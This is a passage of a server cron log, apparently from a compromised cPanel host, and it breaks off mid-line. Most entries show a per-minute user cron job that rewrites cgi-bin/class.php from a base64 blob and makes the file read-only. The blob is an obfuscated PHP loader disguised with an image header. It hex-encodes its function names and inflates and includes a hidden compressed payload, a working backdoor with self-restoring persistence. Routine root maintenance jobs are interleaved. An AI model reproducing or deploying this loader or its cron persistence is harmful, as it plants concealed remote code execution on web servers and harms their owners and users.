FJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:39:01 server CROND[29902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:39:01 server CROND[29903]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 22:40:01 server CROND[29972]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 22:40:01 server CROND[29973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:40:01 server CROND[29974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 22:40:01 server CROND[29975]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 22:41:01 server CROND[30091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:42:01 server CROND[30238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:42:01 server CROND[30239]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 22:43:01 server CROND[30305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:44:01 server CROND[30366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:45:01 server CROND[30423]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 22:45:01 server CROND[30424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 22:45:01 server CROND[30425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:46:01 server CROND[30527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:47:01 server CROND[30596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:48:01 server CROND[30752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:49:01 server CROND[30817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:50:01 server CROND[30883]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 22:50:01 server CROND[30885]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 22:50:01 server CROND[30884]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 22:50:01 server CROND[30887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:50:01 server CROND[30886]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 22:51:01 server CROND[31017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:52:01 server CROND[31073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRkl